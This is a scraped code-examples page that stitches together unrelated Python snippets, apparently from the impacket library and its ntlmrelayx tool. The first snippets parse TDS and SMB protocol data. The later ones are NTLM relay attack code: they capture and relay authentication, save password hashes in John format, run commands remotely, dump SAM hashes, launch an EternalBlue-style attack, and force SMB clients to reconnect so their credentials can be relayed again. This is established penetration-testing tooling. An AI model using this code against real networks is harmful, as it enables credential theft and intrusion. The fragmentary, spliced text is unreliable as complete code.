                    timeValue = struct.unpack('<H',
                                              data[:struct.calcsize('<H')])[0]
                    data = data[struct.calcsize('<H'):]
                    baseDate = datetime.date(1900, 1, 1)
                if value != 'NULL':
                    dateValue = datetime.date.fromordinal(
                        baseDate.toordinal() + dateValue)
                    hours, mod = divmod(timeValue / 300, 60 * 60)
                    minutes, second = divmod(mod, 60)
                    value = datetime.datetime(dateValue.year, dateValue.month,
                                              dateValue.day, hours, minutes,
                                              second)

            elif (_type == TDS_INT4TYPE) |\
                 (_type == TDS_MONEY4TYPE) |\
                 (_type == TDS_FLT4TYPE):
                #print "INT4"
                value = struct.unpack('<l', data[:struct.calcsize('<l')])[0]
                data = data[struct.calcsize('<l'):]

            elif (_type == TDS_FLTNTYPE):
                valueSize = ord(data[:1])
                if valueSize == 4:
                    fmt = '<f'
                elif valueSize == 8:
                    fmt = '<d'

                data = data[1:]

                if valueSize > 0:
                    value = struct.unpack(fmt, data[:valueSize])[0]
                    data = data[valueSize:]
                else:
                    value = 'NULL'

            elif _type == TDS_MONEYNTYPE:
                valueSize = ord(data[:1])
                if valueSize == 4:
                    fmt = '<l'
                elif valueSize == 8:
                    fmt = '<q'

                data = data[1:]

                if valueSize > 0:
                    value = struct.unpack(fmt, data[:valueSize])[0]
                    if valueSize == 4:
                        value = float(value) / math.pow(10, 4)
                    else:
                        value = float(value >> 32) / math.pow(10, 4)
                    data = data[valueSize:]
                else:
                    value = 'NULL'

            elif _type == TDS_BIGCHARTYPE:
                #print "BIGC"
                charLen = struct.unpack('<H', data[:struct.calcsize('<H')])[0]
                data = data[struct.calcsize('<H'):]
                value = data[:charLen]
                data = data[charLen:]

            elif (_type == TDS_INT8TYPE) |\
                 (_type == TDS_FLT8TYPE) |\
                 (_type == TDS_MONEYTYPE):
                #print "DATETIME"
                value = struct.unpack('<q', data[:struct.calcsize('<q')])[0]
                data = data[struct.calcsize('<q'):]

            elif (_type == TDS_INT2TYPE):
                #print "INT2TYPE"
                value = struct.unpack('<H', (data[:2]))[0]
                data = data[2:]

            elif (_type == TDS_DATENTYPE):
                # date is represented as one 3-byte unsigned integer that represents the number of days since
                # January 1, year 1.
                valueSize = ord(data[:1])
                data = data[1:]
                if valueSize > 0:
                    dateBytes = data[:valueSize]
                    dateValue = struct.unpack('<L', '\x00' + dateBytes)[0]
                    value = datetime.date.fromtimestamp(dateValue)
                    data = data[valueSize:]
                else:
                    value = 'NULL'

            elif (_type == TDS_BITTYPE) |\
                 (_type == TDS_INT1TYPE):
                #print "BITTYPE"
                value = ord(data[:1])
                data = data[1:]

            elif (_type == TDS_NUMERICNTYPE) |\
                 (_type == TDS_DECIMALNTYPE):
                valueLen = ord(data[:1])
                data = data[1:]
                value = data[:valueLen]
                data = data[valueLen:]
                precision = ord(col['TypeData'][1])
                scale = ord(col['TypeData'][2])
                if valueLen > 0:
                    isPositiveSign = ord(value[0])
                    if (valueLen - 1) == 2:
                        fmt = '<H'
                    elif (valueLen - 1) == 4:
                        fmt = '<L'
                    elif (valueLen - 1) == 8:
                        fmt = '<Q'
                    else:
                        # Still don't know how to handle higher values
                        value = "TODO: Interpret TDS_NUMERICNTYPE correctly"
                    number = struct.unpack(fmt, value[1:])[0]
                    number /= math.pow(precision, scale)
                    if isPositiveSign == 0:
                        number *= -1
                    value = number
                else:
                    value = 'NULL'

            elif (_type == TDS_BITNTYPE):
                #print "BITNTYPE"
                valueSize = ord(data[:1])
                data = data[1:]
                if valueSize > 0:
                    if valueSize == 1:
                        value = ord(data[:valueSize])
                    else:
                        value = data[:valueSize]
                else:
                    value = 'NULL'
                data = data[valueSize:]

            elif (_type == TDS_INTNTYPE):
                valueSize = ord(data[:1])
                if valueSize == 1:
                    fmt = '<B'
                elif valueSize == 2:
                    fmt = '<h'
                elif valueSize == 4:
                    fmt = '<l'
                elif valueSize == 8:
                    fmt = '<q'
                else:
                    fmt = ''

                data = data[1:]

                if valueSize > 0:
                    value = struct.unpack(fmt, data[:valueSize])[0]
                    data = data[valueSize:]
                else:
                    value = 'NULL'
            elif (_type == TDS_SSVARIANTTYPE):
                LOG.critical("ParseRow: SQL Variant type not yet supported :(")
                raise
            else:
                LOG.critical("ParseROW: Unsupported data type: 0%x" % _type)
                raise

            if tuplemode:
                row.append(value)
            else:
                row[col['Name']] = value

        self.rows.append(row)

        return (origDataLen - len(data))
Example #33
0
File: tds.py Project: tye41/CS-6250
    def parseColMetaData(self, token):
        # TODO Add support for more data types!
        count = token['Count']
        if count == 0xFFFF:
            return 0

        self.colMeta = []
        origDataLen = len(token['Data'])
        data = token['Data']
        for i in range(count):
            column = {}
            userType = struct.unpack('<H', data[:struct.calcsize('<H')])[0]
            data = data[struct.calcsize('<H'):]
            flags = struct.unpack('<H', data[:struct.calcsize('<H')])[0]
            data = data[struct.calcsize('<H'):]
            colType = struct.unpack('<B', data[:struct.calcsize('<B')])[0]
            data = data[struct.calcsize('<B'):]
            if (colType == TDS_BITTYPE)    |\
                 (colType == TDS_INT1TYPE)   |\
                 (colType == TDS_INT2TYPE)   |\
                 (colType == TDS_INT8TYPE)   |\
                 (colType == TDS_DATETIMETYPE) |\
                 (colType == TDS_DATETIM4TYPE) |\
                 (colType == TDS_FLT4TYPE)   |\
                 (colType == TDS_FLT8TYPE)   |\
                 (colType == TDS_MONEYTYPE)  |\
                 (colType == TDS_MONEY4TYPE) |\
                 (colType == TDS_DATENTYPE)  |\
                 (colType == TDS_INT4TYPE):
                typeData = ''
            elif (colType == TDS_INTNTYPE) |\
                 (colType == TDS_TIMENTYPE) |\
                 (colType == TDS_DATETIME2NTYPE) |\
                 (colType == TDS_DATETIMEOFFSETNTYPE) |\
                 (colType == TDS_FLTNTYPE) |\
                 (colType == TDS_MONEYNTYPE) |\
                 (colType == TDS_GUIDTYPE) |\
                 (colType == TDS_BITNTYPE):
                typeData = ord(data[0])
                data = data[1:]

            elif (colType == TDS_DATETIMNTYPE):
                # For DATETIMNTYPE, the only valid lengths are 0x04 and 0x08, which map to smalldatetime and
                # datetime SQL data types respectively.
                typeData = ord(data[0])
                data = data[1:]

            elif (colType == TDS_BIGVARBINTYPE) |\
                 (colType == TDS_BIGBINARYTYPE) |\
                 (colType == TDS_NCHARTYPE)     |\
                 (colType == TDS_NVARCHARTYPE)  |\
                 (colType == TDS_BIGVARCHRTYPE) |\
                 (colType == TDS_BIGCHARTYPE):
                typeData = struct.unpack('<H', data[:2])[0]
                data = data[2:]
            elif (colType == TDS_DECIMALNTYPE) |\
                 (colType == TDS_NUMERICNTYPE) |\
                 (colType == TDS_DECIMALTYPE):
                typeData = data[:3]
                data = data[3:]
            elif (colType == TDS_IMAGETYPE) |\
                 (colType == TDS_TEXTTYPE) |\
                 (colType == TDS_XMLTYPE)  |\
                 (colType == TDS_SSVARIANTTYPE) |\
                 (colType == TDS_NTEXTTYPE):
                typeData = struct.unpack('<L', data[:4])[0]
                data = data[4:]
            else:
                LOG.critical("Unsupported data type: 0x%x" % colType)
                raise

            # Collation exceptions:
            if (colType == TDS_NTEXTTYPE) |\
               (colType == TDS_BIGCHARTYPE)  |\
               (colType == TDS_BIGVARCHRTYPE)  |\
               (colType == TDS_NCHARTYPE)  |\
               (colType == TDS_NVARCHARTYPE)  |\
               (colType == TDS_TEXTTYPE):
                # Skip collation
                data = data[5:]

            # PartTableName exceptions:
            if (colType == TDS_IMAGETYPE) |\
               (colType == TDS_TEXTTYPE) |\
               (colType == TDS_NTEXTTYPE):
                # This types have Table Elements, we just discard them for now.
                # ToDo parse this correctly!
                # Get the Length
                dataLen = struct.unpack('<H', data[:2])[0]
                data = data[2:]
                # skip the text
                data = data[dataLen * 2:]

            colNameLength = struct.unpack('<B',
                                          data[:struct.calcsize('<B')])[0]
            data = data[struct.calcsize('<B'):]
            colName = data[:colNameLength * 2].decode('utf-16le')
            data = data[colNameLength * 2:]
            column['Name'] = colName
            column['Type'] = colType
            column['TypeData'] = typeData
            column['Flags'] = flags
            self.colMeta.append(column)

        return (origDataLen - len(data))
Example #34
0
    def negotiateSession(
            self,
            preferredDialect=None,
            flags1=smb.SMB.FLAGS1_PATHCASELESS
        | smb.SMB.FLAGS1_CANONICALIZED_PATHS,
            flags2=smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS
        | smb.SMB.FLAGS2_LONG_NAMES,
            negoData='\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'):
        """
        Perform protocol negotiation

        :param string preferredDialect: the dialect desired to talk with the target server. If None is specified the highest one available will be used
        :param string flags1: the SMB FLAGS capabilities
        :param string flags2: the SMB FLAGS2 capabilities
        :param string negoData: data to be sent as part of the nego handshake

        :return: True, raises a Session Error if error.
        """

        # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old
        # applications still believing
        # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about i
        # *SMBSERVER's limitations
        if self._sess_port == nmb.SMB_SESSION_PORT and self._remoteName == '*SMBSERVER':
            self._remoteName = self._remoteHost
        elif self._sess_port == nmb.NETBIOS_SESSION_PORT and self._remoteName == '*SMBSERVER':
            # If remote name is *SMBSERVER let's try to query its name.. if can't be guessed, continue and hope for the best
            nb = nmb.NetBIOS()
            try:
                res = nb.getnetbiosname(self._remoteHost)
            except:
                pass
            else:
                self._remoteName = res

        hostType = nmb.TYPE_SERVER
        if preferredDialect is None:
            # If no preferredDialect sent, we try the highest available one.
            packet = self._negotiateSession(self._myName,
                                            self._remoteName,
                                            self._remoteHost,
                                            self._sess_port,
                                            self._timeout,
                                            True,
                                            flags1=flags1,
                                            flags2=flags2,
                                            data=negoData)
            if packet[0] == '\xfe':
                # Answer is SMB2 packet
                self._SMBConnection = smb3.SMB3(self._remoteName,
                                                self._remoteHost,
                                                self._myName,
                                                hostType,
                                                self._sess_port,
                                                self._timeout,
                                                session=self._nmbSession)
            else:
                # Answer is SMB packet, sticking to SMBv1
                self._SMBConnection = smb.SMB(self._remoteName,
                                              self._remoteHost,
                                              self._myName,
                                              hostType,
                                              self._sess_port,
                                              self._timeout,
                                              session=self._nmbSession,
                                              negPacket=packet)
        else:
            if preferredDialect == smb.SMB_DIALECT:
                self._SMBConnection = smb.SMB(self._remoteName,
                                              self._remoteHost, self._myName,
                                              hostType, self._sess_port,
                                              self._timeout)
            elif preferredDialect in [
                    SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30
            ]:
                self._SMBConnection = smb3.SMB3(
                    self._remoteName,
                    self._remoteHost,
                    self._myName,
                    hostType,
                    self._sess_port,
                    self._timeout,
                    preferredDialect=preferredDialect)
            else:
                LOG.critical("Unknown dialect ", preferredDialect)
                raise

        # propagate flags to the smb sub-object
        # does not affect smb3 objects
        if isinstance(self._SMBConnection, smb.SMB):
            self._SMBConnection.set_flags(flags1=flags1, flags2=flags2)

        return True
Example #35
0
    def handle(self):
        LOG.debug("SOCKS: New Connection from %s(%s)" %
                  (self.__ip, self.__port))

        data = self.__connSocket.recv(8192)
        grettings = SOCKS5_GREETINGS_BACK(data)
        self.__socksVersion = grettings['VER']

        if self.__socksVersion == 5:
            # We need to answer back with a no authentication response. We're not dealing with auth for now
            self.__connSocket.sendall(str(SOCKS5_GREETINGS_BACK()))
            data = self.__connSocket.recv(8192)
            request = SOCKS5_REQUEST(data)
        else:
            # We're in version 4, we just received the request
            request = SOCKS4_REQUEST(data)

        # Let's process the request to extract the target to connect.
        # SOCKS5
        if self.__socksVersion == 5:
            if request['ATYP'] == ATYP.IPv4.value:
                self.targetHost = socket.inet_ntoa(request['PAYLOAD'][:4])
                self.targetPort = unpack('>H', request['PAYLOAD'][4:])[0]
            elif request['ATYP'] == ATYP.DOMAINNAME.value:
                hostLength = unpack('!B', request['PAYLOAD'][0])[0]
                self.targetHost = request['PAYLOAD'][1:hostLength + 1]
                self.targetPort = unpack('>H', request['PAYLOAD'][hostLength +
                                                                  1:])[0]
            else:
                LOG.error('No support for IPv6 yet!')
        # SOCKS4
        else:
            self.targetPort = request['PORT']

            # SOCKS4a
            if request['ADDR'][:3] == "\x00\x00\x00" and request['ADDR'][
                    3] != "\x00":
                nullBytePos = request['PAYLOAD'].find("\x00")

                if nullBytePos == -1:
                    LOG.error('Error while reading SOCKS4a header!')
                else:
                    self.targetHost = request['PAYLOAD'].split('\0', 1)[1][:-1]
            else:
                self.targetHost = socket.inet_ntoa(request['ADDR'])

        LOG.debug('SOCKS: Target is %s(%s)' %
                  (self.targetHost, self.targetPort))

        if self.targetPort != 53:
            # Do we have an active connection for the target host/port asked?
            # Still don't know the username, but it's a start
            if self.__socksServer.activeRelays.has_key(self.targetHost):
                if self.__socksServer.activeRelays[self.targetHost].has_key(
                        self.targetPort) is not True:
                    LOG.error('SOCKS: Don\'t have a relay for %s(%s)' %
                              (self.targetHost, self.targetPort))
                    self.sendReplyError(replyField.CONNECTION_REFUSED)
                    return
            else:
                LOG.error('SOCKS: Don\'t have a relay for %s(%s)' %
                          (self.targetHost, self.targetPort))
                self.sendReplyError(replyField.CONNECTION_REFUSED)
                return

        # Now let's get into the loops
        if self.targetPort == 53:
            # Somebody wanting a DNS request. Should we handle this?
            s = socket.socket()
            try:
                LOG.debug('SOCKS: Connecting to %s(%s)' %
                          (self.targetHost, self.targetPort))
                s.connect((self.targetHost, self.targetPort))
            except Exception, e:
                if LOG.level == logging.DEBUG:
                    import traceback
                    traceback.print_exc()
                LOG.error('SOCKS: %s' % str(e))
                self.sendReplyError(replyField.CONNECTION_REFUSED)
                return

            if self.__socksVersion == 5:
                reply = SOCKS5_REPLY()
                reply['REP'] = replyField.SUCCEEDED.value
                addr, port = s.getsockname()
                reply['PAYLOAD'] = socket.inet_aton(addr) + pack('>H', port)
            else:
                reply = SOCKS4_REPLY()

            self.__connSocket.sendall(reply.getData())

            while True:
                try:
                    data = self.__connSocket.recv(8192)
                    if data == '':
                        break
                    s.sendall(data)
                    data = s.recv(8192)
                    self.__connSocket.sendall(data)
                except Exception, e:
                    if LOG.level == logging.DEBUG:
                        import traceback
                        traceback.print_exc()
                    LOG.error('SOCKS: ', str(e))
Example #36
0
import string
from struct import unpack

from impacket import LOG
from impacket.examples.ntlmrelayx.clients import ProtocolClient
from impacket.tds import MSSQL, DummyPrint, TDS_ENCRYPT_REQ, TDS_ENCRYPT_OFF, TDS_PRE_LOGIN, TDS_LOGIN, TDS_INIT_LANG_FATAL, \
    TDS_ODBC_ON, TDS_INTEGRATED_SECURITY_ON, TDS_LOGIN7, TDS_SSPI, TDS_LOGINACK_TOKEN
from impacket.ntlm import NTLMAuthChallenge
from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
from impacket.spnego import SPNEGO_NegTokenResp

try:
    import OpenSSL
    from OpenSSL import SSL, crypto
except Exception:
    LOG.critical("pyOpenSSL is not installed, can't continue")

PROTOCOL_CLIENT_CLASS = "MSSQLRelayClient"


class MYMSSQL(MSSQL):
    def __init__(self, address, port=1433, rowsPrinter=DummyPrint()):
        MSSQL.__init__(self, address, port, rowsPrinter)
        self.resp = None
        self.sessionData = {}

    def initConnection(self):
        self.connect()
        #This is copied from tds.py
        resp = self.preLogin()
        if resp['Encryption'] == TDS_ENCRYPT_REQ or resp[
Example #37
0
 def _start(self):
     self.server.daemon_threads = True
     self.server.serve_forever()
     LOG.info('Shutting down SMB Server')
     self.server.server_close()
Example #38
0
        def do_GET(self):
            messageType = 0
            if self.server.config.mode == 'REDIRECT':
                self.do_SMBREDIRECT()
                return

            LOG.info('HTTPD: Client requested path: %s' % self.path.lower())

            # Serve WPAD if:
            # - The client requests it
            # - A WPAD host was provided in the command line options
            # - The client has not exceeded the wpad_auth_num threshold yet
            if self.path.lower(
            ) == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(
                    self.client_address[0]):
                LOG.info('HTTPD: Serving PAC file to client %s' %
                         self.client_address[0])
                self.serve_wpad()
                return

            # Determine if the user is connecting to our server directly or attempts to use it as a proxy
            if self.command == 'CONNECT' or (len(self.path) > 4 and
                                             self.path[:4].lower() == 'http'):
                proxy = True
            else:
                proxy = False

            if PY2:
                proxyAuthHeader = self.headers.getheader('Proxy-Authorization')
                autorizationHeader = self.headers.getheader('Authorization')
            else:
                proxyAuthHeader = self.headers.get('Proxy-Authorization')
                autorizationHeader = self.headers.get('Authorization')

            if (proxy and proxyAuthHeader is None) or (
                    not proxy and autorizationHeader is None):
                self.do_AUTHHEAD(message=b'NTLM', proxy=proxy)
                pass
            else:
                if proxy:
                    typeX = proxyAuthHeader
                else:
                    typeX = autorizationHeader
                try:
                    _, blob = typeX.split('NTLM')
                    token = base64.b64decode(blob.strip())
                except Exception:
                    LOG.debug("Exception:", exc_info=True)
                    self.do_AUTHHEAD(message=b'NTLM', proxy=proxy)
                else:
                    messageType = struct.unpack(
                        '<L',
                        token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

            if messageType == 1:
                if not self.do_ntlm_negotiate(token, proxy=proxy):
                    #Connection failed
                    LOG.error(
                        'Negotiating NTLM with %s://%s failed. Skipping to next target',
                        self.target.scheme, self.target.netloc)
                    self.server.config.target.logTarget(self.target)
                    self.do_REDIRECT()
            elif messageType == 3:
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                if not self.do_ntlm_auth(token, authenticateMessage):
                    if authenticateMessage[
                            'flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                        LOG.error(
                            "Authenticating against %s://%s as %s\\%s FAILED" %
                            (self.target.scheme, self.target.netloc,
                             authenticateMessage['domain_name'].decode(
                                 'utf-16le'), authenticateMessage['user_name'].
                             decode('utf-16le')))
                    else:
                        LOG.error(
                            "Authenticating against %s://%s as %s\\%s FAILED" %
                            (self.target.scheme, self.target.netloc,
                             authenticateMessage['domain_name'].decode(
                                 'ascii'),
                             authenticateMessage['user_name'].decode('ascii')))

                    # Only skip to next if the login actually failed, not if it was just anonymous login or a system account
                    # which we don't want
                    if authenticateMessage[
                            'user_name'] != '':  # and authenticateMessage['user_name'][-1] != '$':
                        self.server.config.target.logTarget(self.target)
                        # No anonymous login, go to next host and avoid triggering a popup
                        self.do_REDIRECT()
                    else:
                        #If it was an anonymous login, send 401
                        self.do_AUTHHEAD(b'NTLM', proxy=proxy)
                else:
                    # Relay worked, do whatever we want here...
                    if authenticateMessage[
                            'flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                        LOG.info(
                            "Authenticating against %s://%s as %s\\%s SUCCEED"
                            %
                            (self.target.scheme, self.target.netloc,
                             authenticateMessage['domain_name'].decode(
                                 'utf-16le'), authenticateMessage['user_name'].
                             decode('utf-16le')))
                    else:
                        LOG.info(
                            "Authenticating against %s://%s as %s\\%s SUCCEED"
                            %
                            (self.target.scheme, self.target.netloc,
                             authenticateMessage['domain_name'].decode(
                                 'ascii'),
                             authenticateMessage['user_name'].decode('ascii')))

                    ntlm_hash_data = outputToJohnFormat(
                        self.challengeMessage['challenge'],
                        authenticateMessage['user_name'],
                        authenticateMessage['domain_name'],
                        authenticateMessage['lanman'],
                        authenticateMessage['ntlm'])
                    self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                    if self.server.config.outputFile is not None:
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                              ntlm_hash_data['hash_version'],
                                              self.server.config.outputFile)

                    self.server.config.target.logTarget(
                        self.target, True, self.authUser)

                    self.do_attack()

                    # And answer 404 not found
                    self.send_response(404)
                    self.send_header('WWW-Authenticate', 'NTLM')
                    self.send_header('Content-type', 'text/html')
                    self.send_header('Content-Length', '0')
                    self.send_header('Connection', 'close')
                    self.end_headers()
            return
Example #39
0
    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            LOG.info(
                'Started interactive SMB client shell via TCP on 127.0.0.1:%d'
                % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,
                                           self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins, EnumShares, EnumSessions, EternalRelay  # Import EnumShares

            samHashes = None

            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer(
                    ).get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(
                        flags2=flags2)

                remoteOps = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()

            except Exception as e:

                if "rpc_s_access_denied" in str(
                        e
                ):  # user doesn't have correct privileges, fall back to available non-Admin options

                    ### EternalRelayAttack START ###

                    if self.config.eternalRelayScanner:
                        LOG.info(
                            "Relayed user doesn't have admin on {}. Attempting to scan {} for ETERNALBLUE vulnerability detection... "
                            .format(
                                self.__SMBConnection.getRemoteHost().encode(
                                    self.config.encoding),
                                self.__SMBConnection.getRemoteHost().encode(
                                    self.config.encoding)))
                        eternalRelayScanner = EternalRelay(
                            self.__SMBConnection)

                        try:
                            eternalRelayScanner.EternalBlueScanner()
                            print('')

                        except DCERPCException:
                            LOG.info("SAMR access denied")

                        return

                    if self.config.eternalRelayAttack:
                        LOG.info(
                            "Relayed user doesn't have admin on {}. Attempting EternalRelay attack against {}... "
                            .format(
                                self.__SMBConnection.getRemoteHost().encode(
                                    self.config.encoding),
                                self.__SMBConnection.getRemoteHost().encode(
                                    self.config.encoding)))
                        eternalRelayAttack = EternalRelay(self.__SMBConnection)

                        try:
                            eternalRelayAttack.EternalBlueAttack()
                            print('')

                        except DCERPCException:
                            LOG.info("SAMR access denied")

                        return

                    ### EternalRelayAttack END###

                    ### EnumShares START ###
                    if self.config.enumShares:
                        LOG.info(
                            "Relayed user doesn't have admin on {}. Attempting to enumerate SMB shares with relayed credentials... "
                            .format(
                                self.__SMBConnection.getRemoteHost().encode(
                                    self.config.encoding)))
                        enumSmbShares = EnumShares(self.__SMBConnection)

                        try:
                            share_names = enumSmbShares.getShareNames()
                            LOG.info(
                                "Host {} has the following SMB shares available"
                                .format(self.__SMBConnection.getRemoteHost().
                                        encode(self.config.encoding)))

                            for name in share_names:
                                LOG.info("- {}".format(name))

                            print('')

                        except DCERPCException:
                            LOG.info("SAMR access denied")

                        return

                    ### EnumShares END ###

                    ### EnumLocalAdmins START ###
                    if self.config.enumLocalAdmins:
                        LOG.info(
                            "Relayed user doesn't have admin on {}. Attempting to enumerate users who do..."
                            .format(
                                self.__SMBConnection.getRemoteHost().encode(
                                    self.config.encoding)))
                        enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
                        try:
                            localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins(
                            )
                            LOG.info(
                                "Host {} has the following local admins (hint: try relaying one of them here...)"
                                .format(self.__SMBConnection.getRemoteHost().
                                        encode(self.config.encoding)))
                            for name in localAdminNames:
                                LOG.info(
                                    "Host {} local admin member: {} ".format(
                                        self.__SMBConnection.getRemoteHost().
                                        encode(self.config.encoding), name))

                        except DCERPCException:
                            LOG.info("SAMR access denied")

                    ### EnumLocalAdmins END ###
                        return

                # Something else went wrong. aborting
                LOG.error(str(e))

                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(
                        self.config.command)
                    LOG.info("Executed specified command on host: %s",
                             self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output',
                                                 self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print(
                        self.__answerTMP.decode(self.config.encoding,
                                                'replace'))
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote=True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost() +
                                     '_samhashes')
                    LOG.info("Done dumping SAM hashes for host: %s",
                             self.__SMBConnection.getRemoteHost())

            except Exception as e:
                LOG.error(str(e))

            finally:
                if samHashes is not None:
                    samHashes.finish()
                if remoteOps is not None:
                    remoteOps.finish()
    def smb2TreeConnect(self, connId, smbServer, recvPacket):
        connData = smbServer.getConnectionData(connId)

        authenticateMessage = connData['AUTHENTICATE_MESSAGE']

        self.authUser = (
            '%s/%s' %
            (authenticateMessage['domain_name'].decode('utf-16le'),
             authenticateMessage['user_name'].decode('utf-16le'))).upper()

        # Uncommenting this will stop at the first connection relayed and won't relaying until all targets
        # are processed. There might be a use case for this
        #if 'relayToHost' in connData:
        #    # Connection already relayed, let's just answer the request (that will return object not found)
        #    return self.origsmb2TreeConnect(connId, smbServer, recvPacket)

        try:
            if self.config.mode.upper() == 'REFLECTION':
                self.targetprocessor = TargetsProcessor(
                    singleTarget='SMB://%s:445/' % connData['ClientIP'])
            if self.authUser == '/':
                LOG.info(
                    'SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.'
                    % (connId, connData['ClientIP']))
                return self.origsmb2TreeConnect(connId, smbServer, recvPacket)
            self.target = self.targetprocessor.getTarget(
                identity=self.authUser)
            if self.target is None:
                # No more targets to process, just let the victim to fail later
                LOG.info(
                    'SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!'
                    % (connId, self.authUser, connData['ClientIP']))
                return self.origsmb2TreeConnect(connId, smbServer, recvPacket)

            LOG.info(
                'SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s'
                % (connId, self.authUser, connData['ClientIP'],
                   self.target.scheme, self.target.netloc))

            if self.config.mode.upper() == 'REFLECTION':
                # Force standard security when doing reflection
                LOG.debug("Downgrading to standard security")
                extSec = False
                #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
            else:
                extSec = True
            # Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" %
                      (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            connData['relayToHost'] = True
            connData['Authenticated'] = False
            del (connData['NEGOTIATE_MESSAGE'])
            del (connData['CHALLENGE_MESSAGE'])
            del (connData['AUTHENTICATE_MESSAGE'])
            connData['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData(connId, connData)

        respPacket = smb3.SMB2Packet()
        respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
        respPacket['Status'] = STATUS_SUCCESS
        respPacket['CreditRequestResponse'] = 1
        respPacket['Command'] = recvPacket['Command']
        respPacket['SessionID'] = connData['Uid']
        respPacket['Reserved'] = recvPacket['Reserved']
        respPacket['MessageID'] = recvPacket['MessageID']
        respPacket['TreeID'] = recvPacket['TreeID']

        respSMBCommand = smb3.SMB2TreeConnect_Response()

        # This is the key, force the client to reconnect.
        # It will loop until all targets are processed for this user
        errorCode = STATUS_NETWORK_SESSION_EXPIRED

        respPacket['Status'] = errorCode
        respSMBCommand['Capabilities'] = 0
        respSMBCommand['MaximalAccess'] = 0x000f01ff

        respPacket['Data'] = respSMBCommand

        # Sign the packet if needed
        if connData['SignatureEnabled']:
            smbServer.signSMBv2(respPacket, connData['SigningSessionKey'])

        smbServer.setConnectionData(connId, connData)

        return None, [respPacket], errorCode
Example #41
0
    def SmbSessionSetup(self, connId, smbServer, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus=False)

        respSMBCommand = smb3.SMB2SessionSetup_Response()
        sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])

        connData['Capabilities'] = sessionSetupData['Capabilities']

        securityBlob = sessionSetupData['Buffer']

        rawNTLM = False
        if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID:
            # NEGOTIATE packet
            blob = SPNEGO_NegTokenInit(securityBlob)
            token = blob['MechToken']
            if len(blob['MechTypes'][0]) > 0:
                # Is this GSSAPI NTLM or something else we don't support?
                mechType = blob['MechTypes'][0]
                if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
                                mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
                    # Nope, do we know it?
                    if mechType in MechTypes:
                        mechStr = MechTypes[mechType]
                    else:
                        mechStr = hexlify(mechType)
                    smbServer.log("Unsupported MechType '%s'" % mechStr,
                                  logging.CRITICAL)
                    # We don't know the token, we answer back again saying
                    # we just support NTLM.
                    # ToDo: Build this into a SPNEGO_NegTokenResp()
                    respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
                    respSMBCommand['SecurityBufferOffset'] = 0x48
                    respSMBCommand['SecurityBufferLength'] = len(respToken)
                    respSMBCommand['Buffer'] = respToken

                    return [respSMBCommand
                            ], None, STATUS_MORE_PROCESSING_REQUIRED
        elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
            # AUTH packet
            blob = SPNEGO_NegTokenResp(securityBlob)
            token = blob['ResponseToken']
        else:
            # No GSSAPI stuff, raw NTLMSSP
            rawNTLM = True
            token = securityBlob

        # Here we only handle NTLMSSP, depending on what stage of the
        # authentication we are, we act on it
        messageType = struct.unpack(
            '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

        if messageType == 0x01:
            # NEGOTIATE_MESSAGE
